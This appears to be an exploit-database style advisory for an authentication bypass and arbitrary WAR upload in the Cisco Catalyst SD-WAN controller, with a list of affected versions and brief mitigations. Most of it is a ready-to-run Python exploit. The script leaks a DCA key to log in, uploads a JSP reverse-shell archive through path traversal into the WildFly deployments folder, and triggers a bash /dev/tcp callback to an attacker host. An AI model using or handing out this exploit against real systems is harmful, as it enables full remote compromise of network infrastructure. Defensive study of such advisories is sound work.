============================================================================================================================================= | # Title : Cisco Catalyst SD-WAN Controller Authentication Bypass and Arbitrary WAR Upload Vulnerability | | # Author : indoushka | | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits) | | # Vendor : https://www.cisco.com/ | ============================================================================================================================================= [+] Summary : A critical security vulnerability chain was identified involving an authentication bypass through exposed configuration data, followed by an arbitrary file upload via path traversal. Successful exploitation may allow an attacker to deploy a malicious WAR archive into the application server’s deployment directory, potentially resulting in remote code execution. [+] The attack scenario includes: Retrieval of sensitive configuration data enabling authentication bypass. Abuse of file upload functionality with directory traversal. Deployment of a crafted archive to the application server. Remote execution of server-side code. This vulnerability highlights improper access control, insufficient input validation, and insecure file handling mechanisms. [+] Impact: Remote Code Execution (RCE), full system compromise. [+] Severity: Critical [+] Recommended Mitigations: Restrict access to sensitive configuration files. Enforce strict server-side authentication controls. Sanitize and validate file upload paths. Disable arbitrary deployment access on application servers. Apply latest security patches. affected : affected at 20.1.12 affected at 19.2.1 affected at 18.4.4 affected at 18.4.5 affected at 20.1.1.1 affected at 20.1.1 affected at 19.3.0 affected at 19.2.2 affected at 19.2.099 affected at 18.3.6 affected at 18.3.7 affected at 19.2.0 affected at 18.3.8 affected at 19.0.0 affected at 19.1.0 affected at 18.4.302 affected at 18.4.303 affected at 19.2.097 affected at 19.2.098 affected at 17.2.10 affected at 18.3.6.1 affected at 19.0.1a affected at 18.2.0 affected at 18.4.3 affected at 18.4.1 affected at 17.2.8 affected at 18.3.3.1 affected at 18.4.0 affected at 18.3.1 affected at 17.2.6 affected at 17.2.9 affected at 18.3.4 affected at 17.2.5 affected at 18.3.1.1 affected at 18.3.5 affected at 18.4.0.1 affected at 18.3.3 affected at 17.2.7 affected at 17.2.4 affected at 18.3.0 affected at 19.2.3 affected at 18.4.501_ES affected at 20.3.1 affected at 20.1.2 affected at 19.2.929 affected at 19.2.31 affected at 20.18.2_LI_Images [+] POC : import io import sys import zipfile import requests import urllib3 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) def create_payload_war(lhost, lport): """ Generates a WAR file in memory containing a JSP Reverse Shell. The shell connects back to the specified LHOST and LPORT. """ jsp_content = f''' <%@ page import="java.io.*,java.net.*" %> <% try {{ String host = "{lhost}"; int port = {lport}; // Execute a bash reverse shell via /dev/tcp Process p = new ProcessBuilder("/bin/bash", "-c", "bash -i >& /dev/tcp/" + host + "/" + port + " 0>&1").start(); }} catch (Exception e) {{ // Silent fail to avoid logs }} %> ''' war_buffer = io.BytesIO() with zipfile.ZipFile(war_buffer, 'w', zipfile.ZIP_DEFLATED) as war: war.writestr('shell.jsp', jsp_content) return war_buffer.getvalue() def run_exploit(target_url, lhost, lport): session = requests.Session() session.verify = False target_url = target_url.rstrip('/') print(f"[*] Target: {target_url}") try: key_endpoint = f"{target_url}/reports/data/opt/data/containers/config/data-collection-agent/.dca" response = session.get(key_endpoint, timeout=10) if len(response.text) != 32: print("[-] Error: Could not retrieve a valid 32-character DCA key.") return dca_key = response.text.strip() print(f"[+] Successfully leaked DCA Key: {dca_key}") except Exception as e: print(f"[-] Connection error during key leak: {e}") return login_url = f"{target_url}/jts/authenticated/j_security_check" login_payload = { 'j_username': 'viptela-reserved-dca', 'j_password': dca_key } login_response = session.post(login_url, data=login_payload) if login_response.status_code != 200 or "loginError" in login_response.text: print("[-] Authentication bypass failed.") return print("[+] Session authenticated successfully.") print(f"[*] Generating malicious WAR for {lhost}:{lport}...") war_data = create_payload_war(lhost, lport) traversal_filename = "../../../../../../../../../../../var/lib/wildfly/standalone/deployments/shell.gz.war" upload_files = { 'file': (traversal_filename, io.BytesIO(war_data), 'application/java-archive') } try: print("[*] Uploading payload via smartLicensing/uploadAck...") upload_url = f"{target_url}/dataservice/smartLicensing/uploadAck" session.post(upload_url, files=upload_files, timeout=15) except requests.exceptions.Timeout: print("[+] Request timed out (Possible successful shell connection!)") except Exception as e: print(f"[-] Upload failed: {e}") trigger_url = f"{target_url}/shell.gz/shell.jsp" print(f"[*] Triggering execution at: {trigger_url}") try: session.get(trigger_url, timeout=5) except: pass if __name__ == "__main__": if len(sys.argv) < 4: print("Usage: python3 exploit.py ") print("Example: python3 exploit.py https://vmanage-ip 10.10.10.5 4444") sys.exit(1) run_exploit(sys.argv[1], sys.argv[2], sys.argv[3]) Greetings to :============================================================================== jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)| ============================================================================================